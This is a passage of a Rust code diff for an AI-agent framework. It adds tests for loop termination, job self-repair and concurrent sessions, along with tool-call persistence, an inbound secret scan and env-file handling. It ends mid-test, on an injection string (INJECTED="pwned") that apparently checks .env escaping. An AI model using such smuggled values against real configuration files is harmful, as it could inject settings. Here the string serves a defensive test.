let session = Arc::new(Mutex::new(Session::new("test-user")));
// Initialize a thread in the session so the loop can record tool calls.
let thread_id = {
let mut sess = session.lock().await;
sess.create_thread().id
};
let message = IncomingMessage::new("test", "test-user", "do something");
let initial_messages = vec![ChatMessage::user("do something")];
// The dispatcher must terminate within 5 seconds. If there is an
// infinite loop bug (e.g., index not advancing on tool failure), the
// timeout will fire and the test will fail.
let result = tokio::time::timeout(
Duration::from_secs(5),
agent.run_agentic_loop(&message, session, thread_id, initial_messages),
)
.await;
assert!(
result.is_ok(),
"Dispatcher timed out -- possible infinite loop when all tool calls fail"
);
// The loop should complete (either with a text response from force_text,
// or an error from the hard ceiling). Both are acceptable termination.
let inner = result.unwrap();
assert!(
inner.is_ok(),
"Dispatcher returned an error: {:?}",
inner.err()
);
}
/// Verify that the max_iterations guard terminates the loop even when the
/// LLM always returns tool calls and those calls succeed.
#[tokio::test]
async fn test_dispatcher_terminates_with_max_iterations() {
use crate::agent::session::Session;
use crate::channels::IncomingMessage;
use crate::llm::ChatMessage;
use crate::tools::builtin::EchoTool;
use tokio::sync::Mutex;
// Use AlwaysToolCallProvider which calls "echo" on every turn.
// Register the echo tool so the calls succeed.
let llm: Arc<dyn LlmProvider> = Arc::new(AlwaysToolCallProvider);
let max_iter = 3;
let agent = {
let deps = AgentDeps {
store: None,
llm,
cheap_llm: None,
safety: Arc::new(SafetyLayer::new(&SafetyConfig {
max_output_length: 100_000,
injection_check_enabled: false,
})),
tools: {
let registry = Arc::new(ToolRegistry::new());
registry.register_sync(Arc::new(EchoTool));
registry
},
workspace: None,
extension_manager: None,
skill_registry: None,
skill_catalog: None,
skills_config: SkillsConfig::default(),
hooks: Arc::new(HookRegistry::new()),
cost_guard: Arc::new(CostGuard::new(CostGuardConfig::default())),
};
Agent::new(
AgentConfig {
name: "test-agent".to_string(),
max_parallel_jobs: 1,
job_timeout: Duration::from_secs(60),
stuck_threshold: Duration::from_secs(60),
repair_check_interval: Duration::from_secs(30),
max_repair_attempts: 1,
use_planning: false,
session_idle_timeout: Duration::from_secs(300),
allow_local_tools: false,
max_cost_per_day_cents: None,
max_actions_per_hour: None,
max_tool_iterations: max_iter,
auto_approve_tools: true,
},
deps,
Arc::new(ChannelManager::new()),
None,
None,
None,
Some(Arc::new(ContextManager::new(1))),
None,
)
};
let session = Arc::new(Mutex::new(Session::new("test-user")));
let thread_id = {
let mut sess = session.lock().await;
sess.create_thread().id
};
let message = IncomingMessage::new("test", "test-user", "keep calling tools");
let initial_messages = vec![ChatMessage::user("keep calling tools")];
// Even with an LLM that always wants to call tools, the dispatcher
// must terminate within the timeout thanks to force_text at
// max_tool_iterations.
let result = tokio::time::timeout(
Duration::from_secs(5),
agent.run_agentic_loop(&message, session, thread_id, initial_messages),
)
.await;
assert!(
result.is_ok(),
"Dispatcher timed out -- max_iterations guard failed to terminate the loop"
);
// Should get a successful text response (force_text kicks in).
let inner = result.unwrap();
assert!(
inner.is_ok(),
"Dispatcher returned an error: {:?}",
inner.err()
);
// Verify we got a text response.
match inner.unwrap() {
super::AgenticLoopResult::Response(text) => {
assert!(!text.is_empty(), "Expected non-empty forced text response");
}
super::AgenticLoopResult::NeedApproval { .. } => {
panic!("Expected text response, got NeedApproval");
}
}
}
} }
+1
View File
@@ -294,6 +294,7 @@ impl HeartbeatRunner {
let response = OutgoingResponse { let response = OutgoingResponse {
content: format!("🔔 *Heartbeat Alert*\n\n{}", message), content: format!("🔔 *Heartbeat Alert*\n\n{}", message),
thread_id: None, thread_id: None,
attachments: Vec::new(),
metadata: serde_json::json!({ metadata: serde_json::json!({
"source": "heartbeat", "source": "heartbeat",
}), }),
+3
View File
@@ -600,10 +600,13 @@ async fn send_notification(
let response = OutgoingResponse { let response = OutgoingResponse {
content: message, content: message,
thread_id: None, thread_id: None,
attachments: Vec::new(),
metadata: serde_json::json!({ metadata: serde_json::json!({
"source": "routine", "source": "routine",
"routine_name": routine_name, "routine_name": routine_name,
"status": status.to_string(), "status": status.to_string(),
"notify_user": notify.user,
"notify_channel": notify.channel,
}), }),
}; };
+130
View File
@@ -387,4 +387,134 @@ mod tests {
}; };
assert!(matches!(manual, RepairResult::ManualRequired { .. })); assert!(matches!(manual, RepairResult::ManualRequired { .. }));
} }
// === QA Plan - Self-repair stuck job tests ===
#[tokio::test]
async fn detect_no_stuck_jobs_when_all_healthy() {
let cm = Arc::new(ContextManager::new(10));
// Create a job and leave it Pending (not stuck).
cm.create_job("Job 1", "desc").await.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let stuck = repair.detect_stuck_jobs().await;
assert!(stuck.is_empty());
}
#[tokio::test]
async fn detect_stuck_job_finds_stuck_state() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Stuck job", "desc").await.unwrap();
// Transition to InProgress, then to Stuck.
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
.await
.unwrap()
.unwrap();
cm.update_context(job_id, |ctx| {
ctx.transition_to(JobState::Stuck, Some("timed out".to_string()))
})
.await
.unwrap()
.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let stuck = repair.detect_stuck_jobs().await;
assert_eq!(stuck.len(), 1);
assert_eq!(stuck[0].job_id, job_id);
}
#[tokio::test]
async fn repair_stuck_job_succeeds_within_limit() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Repairable", "desc").await.unwrap();
// Move to InProgress -> Stuck.
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
.await
.unwrap()
.unwrap();
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::Stuck, None))
.await
.unwrap()
.unwrap();
let repair = DefaultSelfRepair::new(Arc::clone(&cm), Duration::from_secs(60), 3);
let stuck_job = StuckJob {
job_id,
last_activity: Utc::now(),
stuck_duration: Duration::from_secs(120),
last_error: None,
repair_attempts: 0,
};
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
assert!(
matches!(result, RepairResult::Success { .. }),
"Expected Success, got: {:?}",
result
);
// Job should be back to InProgress after recovery.
let ctx = cm.get_context(job_id).await.unwrap();
assert_eq!(ctx.state, JobState::InProgress);
}
#[tokio::test]
async fn repair_stuck_job_returns_manual_when_limit_exceeded() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Unrepairable", "desc").await.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 2);
let stuck_job = StuckJob {
job_id,
last_activity: Utc::now(),
stuck_duration: Duration::from_secs(300),
last_error: Some("persistent failure".to_string()),
repair_attempts: 2, // == max
};
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
assert!(
matches!(result, RepairResult::ManualRequired { .. }),
"Expected ManualRequired, got: {:?}",
result
);
}
#[tokio::test]
async fn detect_broken_tools_returns_empty_without_store() {
let cm = Arc::new(ContextManager::new(10));
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
// No store configured, should return empty.
let broken = repair.detect_broken_tools().await;
assert!(broken.is_empty());
}
#[tokio::test]
async fn repair_broken_tool_returns_manual_without_builder() {
let cm = Arc::new(ContextManager::new(10));
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let broken = BrokenTool {
name: "test-tool".to_string(),
failure_count: 10,
last_error: Some("crash".to_string()),
first_failure: Utc::now(),
last_failure: Utc::now(),
last_build_result: None,
repair_attempts: 0,
};
let result = repair.repair_broken_tool(&broken).await.unwrap();
assert!(
matches!(result, RepairResult::ManualRequired { .. }),
"Expected ManualRequired without builder, got: {:?}",
result
);
}
} }
+110
View File
@@ -772,6 +772,116 @@ mod tests {
assert_ne!(resolved, tid); assert_ne!(resolved, tid);
} }
// === QA Plan P3 - 4.2: Concurrent session stress tests ===
#[tokio::test]
async fn concurrent_get_or_create_same_user_returns_same_session() {
let manager = Arc::new(SessionManager::new());
let handles: Vec<_> = (0..30)
.map(|_| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move { mgr.get_or_create_session("shared-user").await })
})
.collect();
let mut sessions = Vec::new();
for handle in handles {
sessions.push(handle.await.expect("task should not panic"));
}
// All 30 must return the *same* Arc (double-checked locking guarantee).
for s in &sessions {
assert!(Arc::ptr_eq(&sessions[0], s));
}
}
#[tokio::test]
async fn concurrent_resolve_thread_distinct_users_no_cross_talk() {
let manager = Arc::new(SessionManager::new());
let handles: Vec<_> = (0..20)
.map(|i| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move {
let user = format!("user-{i}");
let (session, tid) = mgr.resolve_thread(&user, "gateway", None).await;
(user, session, tid)
})
})
.collect();
let mut results = Vec::new();
for handle in handles {
results.push(handle.await.expect("task should not panic"));
}
// All thread IDs must be unique.
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
assert_eq!(tids.len(), 20);
// Each session should contain exactly 1 thread (its own).
for (_, session, tid) in &results {
let sess = session.lock().await;
assert!(sess.threads.contains_key(tid));
assert_eq!(sess.threads.len(), 1);
}
}
#[tokio::test]
async fn concurrent_resolve_thread_same_user_different_channels() {
let manager = Arc::new(SessionManager::new());
let channels = ["gateway", "telegram", "slack", "cli", "repl"];
let handles: Vec<_> = channels
.iter()
.map(|ch| {
let mgr = Arc::clone(&manager);
let channel = ch.to_string();
tokio::spawn(async move {
let (session, tid) = mgr.resolve_thread("multi-ch", &channel, None).await;
(channel, session, tid)
})
})
.collect();
let mut results = Vec::new();
for handle in handles {
results.push(handle.await.expect("task should not panic"));
}
// All 5 threads must be unique (different channels = different keys).
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
assert_eq!(tids.len(), 5);
// All threads should live in the same session.
let sess = results[0].1.lock().await;
assert_eq!(sess.threads.len(), 5);
}
#[tokio::test]
async fn concurrent_get_undo_manager_same_thread_returns_same_arc() {
let manager = Arc::new(SessionManager::new());
let (_, tid) = manager.resolve_thread("undo-user", "gateway", None).await;
let handles: Vec<_> = (0..20)
.map(|_| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move { mgr.get_undo_manager(tid).await })
})
.collect();
let mut managers = Vec::new();
for handle in handles {
managers.push(handle.await.expect("task should not panic"));
}
// All 20 must point to the same UndoManager.
for m in &managers {
assert!(Arc::ptr_eq(&managers[0], m));
}
}
#[tokio::test] #[tokio::test]
async fn test_resolve_thread_finds_existing_session_thread_by_uuid() { async fn test_resolve_thread_finds_existing_session_thread_by_uuid() {
use crate::agent::session::{Session, Thread}; use crate::agent::session::{Session, Thread};
+87
View File
@@ -107,6 +107,29 @@ impl SubmissionParser {
return Submission::Quit; return Submission::Quit;
} }
// Job commands
if lower == "/status" || lower == "/progress" {
return Submission::JobStatus { job_id: None };
}
if let Some(rest) = lower
.strip_prefix("/status ")
.or_else(|| lower.strip_prefix("/progress "))
{
let id = rest.trim().to_string();
if !id.is_empty() {
return Submission::JobStatus { job_id: Some(id) };
}
}
if lower == "/list" {
return Submission::JobStatus { job_id: None };
}
if let Some(rest) = lower.strip_prefix("/cancel ") {
let id = rest.trim().to_string();
if !id.is_empty() {
return Submission::JobCancel { job_id: id };
}
}
// /thread <uuid> - switch thread // /thread <uuid> - switch thread
if let Some(rest) = lower.strip_prefix("/thread ") { if let Some(rest) = lower.strip_prefix("/thread ") {
let rest = rest.trim(); let rest = rest.trim();
@@ -229,6 +252,18 @@ pub enum Submission {
/// Suggest next steps based on the current thread. /// Suggest next steps based on the current thread.
Suggest, Suggest,
/// Check job status. No job_id shows all jobs; with job_id shows a specific job.
JobStatus {
/// Optional job ID (UUID or short prefix). If None, shows all jobs.
job_id: Option<String>,
},
/// Cancel a running job.
JobCancel {
/// Job ID (UUID or short prefix).
job_id: String,
},
/// Quit the agent. Bypasses thread-state checks. /// Quit the agent. Bypasses thread-state checks.
Quit, Quit,
@@ -313,6 +348,8 @@ impl Submission {
| Self::Heartbeat | Self::Heartbeat
| Self::Summarize | Self::Summarize
| Self::Suggest | Self::Suggest
| Self::JobStatus { .. }
| Self::JobCancel { .. }
| Self::SystemCommand { .. } | Self::SystemCommand { .. }
) )
} }
@@ -740,6 +777,56 @@ mod tests {
); );
} }
#[test]
fn test_parser_job_status() {
// /status with no id → all jobs
let s = SubmissionParser::parse("/status");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
// /progress alias
let s = SubmissionParser::parse("/progress");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
// /status with id
let s = SubmissionParser::parse("/status abc123");
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
// /progress with id
let s = SubmissionParser::parse("/progress abc123");
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
// case insensitive
let s = SubmissionParser::parse("/STATUS");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
}
#[test]
fn test_parser_job_list() {
// /list is an alias for /status with no job_id
let s = SubmissionParser::parse("/list");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
let s = SubmissionParser::parse("/LIST");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
}
#[test]
fn test_parser_job_cancel() {
let s = SubmissionParser::parse("/cancel abc123");
assert!(matches!(s, Submission::JobCancel { job_id } if job_id == "abc123"));
// /cancel with no id → falls through to UserInput
let s = SubmissionParser::parse("/cancel");
assert!(matches!(s, Submission::UserInput { .. }));
}
#[test]
fn test_job_commands_are_control() {
assert!(SubmissionParser::parse("/status").is_control());
assert!(SubmissionParser::parse("/list").is_control());
assert!(SubmissionParser::parse("/cancel abc").is_control());
}
#[test] #[test]
fn test_parser_quit() { fn test_parser_quit() {
assert!(matches!(SubmissionParser::parse("/quit"), Submission::Quit)); assert!(matches!(SubmissionParser::parse("/quit"), Submission::Quit));
+107 -4
View File
@@ -16,6 +16,7 @@ use crate::agent::dispatcher::{
}; };
use crate::agent::session::{PendingApproval, Session, ThreadState}; use crate::agent::session::{PendingApproval, Session, ThreadState};
use crate::agent::submission::SubmissionResult; use crate::agent::submission::SubmissionResult;
use crate::channels::web::util::truncate_preview;
use crate::channels::{IncomingMessage, StatusUpdate}; use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobContext; use crate::context::JobContext;
use crate::error::Error; use crate::error::Error;
@@ -69,6 +70,8 @@ impl Agent {
.filter_map(|m| match m.role.as_str() { .filter_map(|m| match m.role.as_str() {
"user" => Some(ChatMessage::user(&m.content)), "user" => Some(ChatMessage::user(&m.content)),
"assistant" => Some(ChatMessage::assistant(&m.content)), "assistant" => Some(ChatMessage::assistant(&m.content)),
// tool_calls rows are UI metadata (tool name + preview),
// not part of the LLM conversation context.
_ => None, _ => None,
}) })
.collect(); .collect();
@@ -173,6 +176,18 @@ impl Agent {
return Ok(SubmissionResult::error("Input rejected by safety policy.")); return Ok(SubmissionResult::error("Input rejected by safety policy."));
} }
// Scan inbound messages for secrets (API keys, tokens).
// Catching them here prevents the LLM from echoing them back, which
// would trigger the outbound leak detector and create error loops.
if let Some(warning) = self.safety().scan_inbound_for_secrets(content) {
tracing::warn!(
user = %message.user_id,
channel = %message.channel,
"Inbound message blocked: contains leaked secret"
);
return Ok(SubmissionResult::error(warning));
}
// Handle explicit commands (starting with /) directly // Handle explicit commands (starting with /) directly
// Everything else goes through the normal agentic loop with tools // Everything else goes through the normal agentic loop with tools
let temp_message = IncomingMessage { let temp_message = IncomingMessage {
@@ -315,6 +330,11 @@ impl Agent {
}; };
thread.complete_turn(&response); thread.complete_turn(&response);
let tool_calls = thread
.turns
.last()
.map(|t| t.tool_calls.clone())
.unwrap_or_default();
let _ = self let _ = self
.channels .channels
.send_status( .send_status(
@@ -324,7 +344,9 @@ impl Agent {
) )
.await; .await;
// Persist assistant response (user message already persisted at turn start) // Persist tool calls then assistant response (user message already persisted at turn start)
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
.await;
self.persist_assistant_response(thread_id, &message.user_id, &response) self.persist_assistant_response(thread_id, &message.user_id, &response)
.await; .await;
@@ -423,6 +445,68 @@ impl Agent {
} }
} }
/// Persist tool call summaries to the DB as a `role="tool_calls"` message.
///
/// Stored between the user and assistant messages so that
/// `build_turns_from_db_messages` can reconstruct the tool call history.
/// Content is a JSON array of tool call summaries.
pub(super) async fn persist_tool_calls(
&self,
thread_id: Uuid,
user_id: &str,
tool_calls: &[crate::agent::session::TurnToolCall],
) {
if tool_calls.is_empty() {
return;
}
let store = match self.store() {
Some(s) => Arc::clone(s),
None => return,
};
let summaries: Vec<serde_json::Value> = tool_calls
.iter()
.map(|tc| {
let mut obj = serde_json::json!({ "name": tc.name });
if let Some(ref result) = tc.result {
let preview = match result {
serde_json::Value::String(s) => truncate_preview(s, 500),
other => truncate_preview(&other.to_string(), 500),
};
obj["result_preview"] = serde_json::Value::String(preview);
}
if let Some(ref error) = tc.error {
obj["error"] = serde_json::Value::String(truncate_preview(error, 200));
}
obj
})
.collect();
let content = match serde_json::to_string(&summaries) {
Ok(c) => c,
Err(e) => {
tracing::warn!("Failed to serialize tool calls: {}", e);
return;
}
};
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
if let Err(e) = store
.add_conversation_message(thread_id, "tool_calls", &content)
.await
{
tracing::warn!("Failed to persist tool calls: {}", e);
}
}
pub(super) async fn process_undo( pub(super) async fn process_undo(
&self, &self,
session: Arc<Mutex<Session>>, session: Arc<Mutex<Session>>,
@@ -591,7 +675,13 @@ impl Agent {
.ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?; .ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?;
if thread.state != ThreadState::AwaitingApproval { if thread.state != ThreadState::AwaitingApproval {
return Ok(SubmissionResult::error("No pending approval request.")); // Stale or duplicate approval (tool already executed) — silently ignore.
tracing::debug!(
%thread_id,
state = ?thread.state,
"Ignoring stale approval: thread not in AwaitingApproval state"
);
return Ok(SubmissionResult::ok_with_message(""));
} }
thread.take_pending_approval() thread.take_pending_approval()
@@ -599,7 +689,13 @@ impl Agent {
let pending = match pending { let pending = match pending {
Some(p) => p, Some(p) => p,
None => return Ok(SubmissionResult::error("No pending approval request.")), None => {
tracing::debug!(
%thread_id,
"Ignoring stale approval: no pending approval found"
);
return Ok(SubmissionResult::ok_with_message(""));
}
}; };
// Verify request ID if provided // Verify request ID if provided
@@ -1040,7 +1136,14 @@ impl Agent {
match result { match result {
Ok(AgenticLoopResult::Response(response)) => { Ok(AgenticLoopResult::Response(response)) => {
thread.complete_turn(&response); thread.complete_turn(&response);
// User message already persisted at turn start; save assistant response let tool_calls = thread
.turns
.last()
.map(|t| t.tool_calls.clone())
.unwrap_or_default();
// User message already persisted at turn start; save tool calls then assistant response
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
.await;
self.persist_assistant_response(thread_id, &message.user_id, &response) self.persist_assistant_response(thread_id, &message.user_id, &response)
.await; .await;
let _ = self let _ = self
+31
View File
@@ -158,6 +158,37 @@ Report when the job is complete or if you encounter issues you cannot resolve."#
match result { match result {
Ok(Ok(())) => { Ok(Ok(())) => {
tracing::info!("Worker for job {} completed successfully", self.job_id); tracing::info!("Worker for job {} completed successfully", self.job_id);
// Only mark completed if still in an active, non-stuck state.
// The execution_loop may have already called mark_completed or
// mark_stuck (e.g. "plan completed but work remains").
let current_state = self
.context_manager()
.get_context(self.job_id)
.await
.map(|ctx| ctx.state);
match current_state {
Ok(state) if state.is_terminal() => {
// Already in a terminal state (e.g. execution_loop
// called mark_completed itself).
}
Ok(JobState::Stuck) => {
// execution_loop marked this as stuck (e.g. "plan
// completed but work remains"); leave for self-repair.
tracing::info!(
"Job {} returned Ok but is Stuck — leaving for self-repair",
self.job_id
);
}
Ok(_) => {
self.mark_completed().await?;
}
Err(e) => {
tracing::warn!(
job_id = %self.job_id,
"Failed to get job context, cannot mark as completed: {}", e
);
}
}
} }
Ok(Err(e)) => { Ok(Err(e)) => {
tracing::error!("Worker for job {} failed: {}", self.job_id, e); tracing::error!("Worker for job {} failed: {}", self.job_id, e);
+11 -13
View File
@@ -402,19 +402,17 @@ impl AppBuilder {
let mcp_session_manager = Arc::new(McpSessionManager::new()); let mcp_session_manager = Arc::new(McpSessionManager::new());
// Create WASM tool runtime // Create WASM tool runtime eagerly so extensions installed after startup
let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> = // (e.g. via the web UI) can still be activated. The tools directory is only
if self.config.wasm.enabled && self.config.wasm.tools_dir.exists() { // needed when loading modules, not for engine initialisation.
match WasmToolRuntime::new(self.config.wasm.to_runtime_config()) { let wasm_tool_runtime: Option<Arc<WasmToolRuntime>> = if self.config.wasm.enabled {
Ok(runtime) => Some(Arc::new(runtime)), WasmToolRuntime::new(self.config.wasm.to_runtime_config())
Err(e) => { .map(Arc::new)
tracing::warn!("Failed to initialize WASM runtime: {}", e); .map_err(|e| tracing::warn!("Failed to initialize WASM runtime: {}", e))
None .ok()
} } else {
} None
} else { };
None
};
// Load WASM tools and MCP servers concurrently // Load WASM tools and MCP servers concurrently
let wasm_tools_future = { let wasm_tools_future = {
+421 -15
View File
@@ -7,13 +7,75 @@
//! File: `~/.ironclaw/.env` (standard dotenvy format) //! File: `~/.ironclaw/.env` (standard dotenvy format)
use std::path::PathBuf; use std::path::PathBuf;
use std::sync::LazyLock;
const IRONCLAW_BASE_DIR_ENV: &str = "IRONCLAW_BASE_DIR";
/// Lazily computed IronClaw base directory, cached for the lifetime of the process.
static IRONCLAW_BASE_DIR: LazyLock<PathBuf> = LazyLock::new(compute_ironclaw_base_dir);
/// Compute the IronClaw base directory from environment.
///
/// This is the underlying implementation used by both the public
/// `ironclaw_base_dir()` function (which caches the result) and tests
/// (which need to verify different configurations).
pub fn compute_ironclaw_base_dir() -> PathBuf {
std::env::var(IRONCLAW_BASE_DIR_ENV)
.map(PathBuf::from)
.map(|path| {
if path.as_os_str().is_empty() {
default_base_dir()
} else if !path.is_absolute() {
eprintln!(
"Warning: IRONCLAW_BASE_DIR is a relative path '{}', resolved against current directory",
path.display()
);
path
} else {
path
}
})
.unwrap_or_else(|_| default_base_dir())
}
/// Get the default IronClaw base directory (~/.ironclaw).
///
/// Logs a warning if the home directory cannot be determined and falls back to
/// the current directory.
fn default_base_dir() -> PathBuf {
if let Some(home) = dirs::home_dir() {
home.join(".ironclaw")
} else {
eprintln!("Warning: Could not determine home directory, using current directory");
std::env::current_dir()
.unwrap_or_else(|_| PathBuf::from("/tmp"))
.join(".ironclaw")
}
}
/// Get the IronClaw base directory.
///
/// Override with `IRONCLAW_BASE_DIR` environment variable.
/// Defaults to `~/.ironclaw` (or `./.ironclaw` if home directory cannot be determined).
///
/// Thread-safe: the value is computed once and cached in a `LazyLock`.
///
/// # Environment Variable Behavior
/// - If `IRONCLAW_BASE_DIR` is set to a non-empty path, that path is used.
/// - If `IRONCLAW_BASE_DIR` is set to an empty string, it is treated as unset.
/// - If `IRONCLAW_BASE_DIR` contains null bytes, a warning is printed and the default is used.
/// - If the home directory cannot be determined, a warning is printed and the current directory is used.
///
/// # Returns
/// A `PathBuf` pointing to the base directory. The path is not validated
/// for existence.
pub fn ironclaw_base_dir() -> PathBuf {
IRONCLAW_BASE_DIR.clone()
}
/// Path to the IronClaw-specific `.env` file: `~/.ironclaw/.env`. /// Path to the IronClaw-specific `.env` file: `~/.ironclaw/.env`.
pub fn ironclaw_env_path() -> PathBuf { pub fn ironclaw_env_path() -> PathBuf {
dirs::home_dir() ironclaw_base_dir().join(".env")
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw")
.join(".env")
} }
/// Load env vars from `~/.ironclaw/.env` (in addition to the standard `.env`). /// Load env vars from `~/.ironclaw/.env` (in addition to the standard `.env`).
@@ -22,11 +84,16 @@ pub fn ironclaw_env_path() -> PathBuf {
/// takes priority over `~/.ironclaw/.env`. dotenvy never overwrites /// takes priority over `~/.ironclaw/.env`. dotenvy never overwrites
/// existing env vars, so the effective priority is: /// existing env vars, so the effective priority is:
/// ///
/// explicit env vars > `./.env` > `~/.ironclaw/.env` /// explicit env vars > `./.env` > `~/.ironclaw/.env` > auto-detect
/// ///
/// If `~/.ironclaw/.env` doesn't exist but the legacy `bootstrap.json` does, /// If `~/.ironclaw/.env` doesn't exist but the legacy `bootstrap.json` does,
/// extracts `DATABASE_URL` from it and writes the `.env` file (one-time /// extracts `DATABASE_URL` from it and writes the `.env` file (one-time
/// upgrade from the old config format). /// upgrade from the old config format).
///
/// After loading the `.env` file, auto-detects the libsql backend: if
/// `DATABASE_BACKEND` is still unset and `~/.ironclaw/ironclaw.db` exists,
/// defaults to `libsql` so cloud instances work out of the box without any
/// manual configuration.
pub fn load_ironclaw_env() { pub fn load_ironclaw_env() {
let path = ironclaw_env_path(); let path = ironclaw_env_path();
@@ -38,6 +105,22 @@ pub fn load_ironclaw_env() {
if path.exists() { if path.exists() {
let _ = dotenvy::from_path(&path); let _ = dotenvy::from_path(&path);
} }
// Auto-detect libsql: if DATABASE_BACKEND is still unset after loading
// all env files, and the local SQLite DB exists, default to libsql.
// This avoids the chicken-and-egg problem on cloud instances where no
// DATABASE_URL is configured but ironclaw.db is already present.
if std::env::var("DATABASE_BACKEND").is_err() {
let default_db = dirs::home_dir()
.unwrap_or_default()
.join(".ironclaw")
.join("ironclaw.db");
if default_db.exists() {
// SAFETY: `load_ironclaw_env` is called from a synchronous `fn main()`
// before the Tokio runtime is started, so no other threads exist yet.
unsafe { std::env::set_var("DATABASE_BACKEND", "libsql") };
}
}
} }
/// If `bootstrap.json` exists, pull `database_url` out of it and write `.env`. /// If `bootstrap.json` exists, pull `database_url` out of it and write `.env`.
@@ -92,7 +175,14 @@ fn migrate_bootstrap_json_to_env(env_path: &std::path::Path) {
/// Values are double-quoted so that `#` (common in URL-encoded passwords) /// Values are double-quoted so that `#` (common in URL-encoded passwords)
/// and other shell-special characters are preserved by dotenvy. /// and other shell-special characters are preserved by dotenvy.
pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> { pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
let path = ironclaw_env_path(); save_bootstrap_env_to(&ironclaw_env_path(), vars)
}
/// Write bootstrap vars to an arbitrary path (testable variant).
///
/// Values are double-quoted and escaped so that `#`, `"`, `\` and other
/// shell-special characters are preserved by dotenvy.
pub fn save_bootstrap_env_to(path: &std::path::Path, vars: &[(&str, &str)]) -> std::io::Result<()> {
if let Some(parent) = path.parent() { if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?; std::fs::create_dir_all(parent)?;
} }
@@ -103,8 +193,8 @@ pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\""); let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
content.push_str(&format!("{}=\"{}\"\n", key, escaped)); content.push_str(&format!("{}=\"{}\"\n", key, escaped));
} }
std::fs::write(&path, &content)?; std::fs::write(path, &content)?;
restrict_file_permissions(&path)?; restrict_file_permissions(path)?;
Ok(()) Ok(())
} }
@@ -115,7 +205,15 @@ pub fn save_bootstrap_env(vars: &[(&str, &str)]) -> std::io::Result<()> {
/// or appends it otherwise. Use this when writing a single bootstrap var /// or appends it otherwise. Use this when writing a single bootstrap var
/// outside the wizard (which manages the full set via `save_bootstrap_env`). /// outside the wizard (which manages the full set via `save_bootstrap_env`).
pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> { pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
let path = ironclaw_env_path(); upsert_bootstrap_var_to(&ironclaw_env_path(), key, value)
}
/// Update or add a single variable at an arbitrary path (testable variant).
pub fn upsert_bootstrap_var_to(
path: &std::path::Path,
key: &str,
value: &str,
) -> std::io::Result<()> {
if let Some(parent) = path.parent() { if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent)?; std::fs::create_dir_all(parent)?;
} }
@@ -124,7 +222,7 @@ pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
let new_line = format!("{}=\"{}\"", key, escaped); let new_line = format!("{}=\"{}\"", key, escaped);
let prefix = format!("{}=", key); let prefix = format!("{}=", key);
let existing = std::fs::read_to_string(&path).unwrap_or_default(); let existing = std::fs::read_to_string(path).unwrap_or_default();
let mut found = false; let mut found = false;
let mut result = String::new(); let mut result = String::new();
@@ -147,8 +245,8 @@ pub fn upsert_bootstrap_var(key: &str, value: &str) -> std::io::Result<()> {
result.push('\n'); result.push('\n');
} }
std::fs::write(&path, result)?; std::fs::write(path, result)?;
restrict_file_permissions(&path)?; restrict_file_permissions(path)?;
Ok(()) Ok(())
} }
@@ -185,9 +283,7 @@ pub async fn migrate_disk_to_db(
store: &dyn crate::db::Database, store: &dyn crate::db::Database,
user_id: &str, user_id: &str,
) -> Result<(), MigrationError> { ) -> Result<(), MigrationError> {
let ironclaw_dir = dirs::home_dir() let ironclaw_dir = ironclaw_base_dir();
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw");
let legacy_settings_path = ironclaw_dir.join("settings.json"); let legacy_settings_path = ironclaw_dir.join("settings.json");
if !legacy_settings_path.exists() { if !legacy_settings_path.exists() {
@@ -321,8 +417,11 @@ pub enum MigrationError {
#[cfg(test)] #[cfg(test)]
mod tests { mod tests {
use super::*; use super::*;
use std::sync::Mutex;
use tempfile::tempdir; use tempfile::tempdir;
static ENV_MUTEX: Mutex<()> = Mutex::new(());
#[test] #[test]
fn test_save_and_load_database_url() { fn test_save_and_load_database_url() {
let dir = tempdir().unwrap(); let dir = tempdir().unwrap();
@@ -580,4 +679,311 @@ INJECTED="pwned"#;
